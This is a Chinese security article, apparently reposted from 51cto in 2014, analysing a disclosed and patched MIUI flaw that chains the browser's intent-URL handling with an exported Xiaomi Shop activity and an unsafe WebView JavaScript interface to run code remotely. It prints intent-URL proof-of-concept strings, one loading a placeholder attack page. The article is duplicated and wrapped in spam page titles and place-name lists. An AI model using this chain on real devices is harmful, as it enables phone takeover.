精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當前位置:安全企業動態 → 正文

小米手機MIUI遠程代碼執行漏洞分析

責任編輯:editor004 |來源:企業網D1Net  2014-08-29 10:53:50 本文摘自:51cto

關鍵字:MIUI 漏洞 小米手機

7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發現了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發現的第一時間,我已經將漏洞細節報告給了小米安全響應中心,目前漏洞已經修復。

小米手機MIUI遠程代碼執行漏洞分析

  測試環境:

手機型號:MI 3

Android版本:4.2.1 JOP40D

MIUI版本:MIUI-JXCCNBE21

內核版本:3.4.35-ga656ab9

一. 小米MIUI原生瀏覽器存在意圖協議安全問題

在使用小米原生瀏覽器的時候我發現MIUI定制了網絡異常頁面, 如當前url不能訪問或網絡異常會跳轉到定制的網頁,通過點擊網頁中的鏈接可以直接進入WIFI的設置界面。

小米手機MIUI遠程代碼執行漏洞分析

根據我以往的經驗,APP要在靜態網頁中實現進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協議URL),通過解析特定格式的URL直接向系統發送意圖。

測試過后,果然發現小米瀏覽器完全支持意圖協議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統發起意圖,啟動本地的日歷APP

intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

小米手機MIUI遠程代碼執行漏洞分析

  我再翻閱了一下google官方framework中intent的源代碼:

/platform/frameworks/base/+/core/java/android/content/Intent.java

3966行的Intent.parseUri定義

if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i);

可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協議地址向本地任意APP發送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。

二.小米商店存在webview遠程代碼執行漏洞

順著第一部分的思路,我開始審計MIUI系統中預裝和內置的APP,希望能發現被遠程利用的漏洞。在自動漏洞掃描中,我發現小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執行漏洞。

小米手機MIUI遠程代碼執行漏洞分析

于是我針對這個APP進行了逆向分析,發現了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數能夠被外部調用加載任意的網頁。

同時我發現了該組件關聯的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。

根據逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結合第一部分小米瀏覽器的意圖協議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網頁調用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權限執行任意的命令和JAVA代碼

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;

S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;

end

三. 安全建議.

安卓開發者在注意用戶體驗的開發同時也應該關注安全,因為某個APP的易用功能而導致整個系統的安全性大打折扣就得不償失了。

本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據了解小米官方已經修復了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。

關鍵字:MIUI小米

本文摘自:51cto

x 小米手機MIUI遠程代碼執行漏洞分析 掃一掃
分享本文到朋友圈
當前位置:安全企業動態 → 正文

小米手機MIUI遠程代碼執行漏洞分析

責任編輯:editor004 |來源:企業網D1Net  2014-08-29 10:53:50 本文摘自:51cto

關鍵字:MIUI 漏洞 小米手機

7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發現了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發現的第一時間,我已經將漏洞細節報告給了小米安全響應中心,目前漏洞已經修復。

小米手機MIUI遠程代碼執行漏洞分析

  測試環境:

手機型號:MI 3

Android版本:4.2.1 JOP40D

MIUI版本:MIUI-JXCCNBE21

內核版本:3.4.35-ga656ab9

一. 小米MIUI原生瀏覽器存在意圖協議安全問題

在使用小米原生瀏覽器的時候我發現MIUI定制了網絡異常頁面, 如當前url不能訪問或網絡異常會跳轉到定制的網頁,通過點擊網頁中的鏈接可以直接進入WIFI的設置界面。

小米手機MIUI遠程代碼執行漏洞分析

根據我以往的經驗,APP要在靜態網頁中實現進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協議URL),通過解析特定格式的URL直接向系統發送意圖。

測試過后,果然發現小米瀏覽器完全支持意圖協議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統發起意圖,啟動本地的日歷APP

intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

小米手機MIUI遠程代碼執行漏洞分析

  我再翻閱了一下google官方framework中intent的源代碼:

/platform/frameworks/base/+/core/java/android/content/Intent.java

3966行的Intent.parseUri定義

if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i);

可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協議地址向本地任意APP發送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。

二.小米商店存在webview遠程代碼執行漏洞

順著第一部分的思路,我開始審計MIUI系統中預裝和內置的APP,希望能發現被遠程利用的漏洞。在自動漏洞掃描中,我發現小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執行漏洞。

小米手機MIUI遠程代碼執行漏洞分析

于是我針對這個APP進行了逆向分析,發現了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數能夠被外部調用加載任意的網頁。

同時我發現了該組件關聯的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。

根據逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結合第一部分小米瀏覽器的意圖協議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網頁調用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權限執行任意的命令和JAVA代碼

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;

S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;

end

三. 安全建議.

安卓開發者在注意用戶體驗的開發同時也應該關注安全,因為某個APP的易用功能而導致整個系統的安全性大打折扣就得不償失了。

本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據了解小米官方已經修復了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。

關鍵字:MIUI小米

本文摘自:51cto

電子周刊
回到頂部

關于我們聯系我們版權聲明隱私條款廣告服務友情鏈接投稿中心招賢納士

企業網版權所有 ©2010-2024 京ICP備09108050號-6 京公網安備 11010502049343號

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 大方县| 永宁县| 怀集县| 常宁市| 抚州市| 平舆县| 乌拉特后旗| 开江县| 类乌齐县| 玉树县| 广州市| 九台市| 塘沽区| 清水县| 中山市| 浑源县| 廉江市| 山阳县| 高清| 长汀县| 浦县| 丰城市| 寻乌县| 蒙城县| 安西县| 福海县| 松桃| 仁化县| 安国市| 峨山| 连州市| 鄂伦春自治旗| 吉水县| 清涧县| 铁力市| 郯城县| 喜德县| 南华县| 陇川县| 涟水县| 天门市|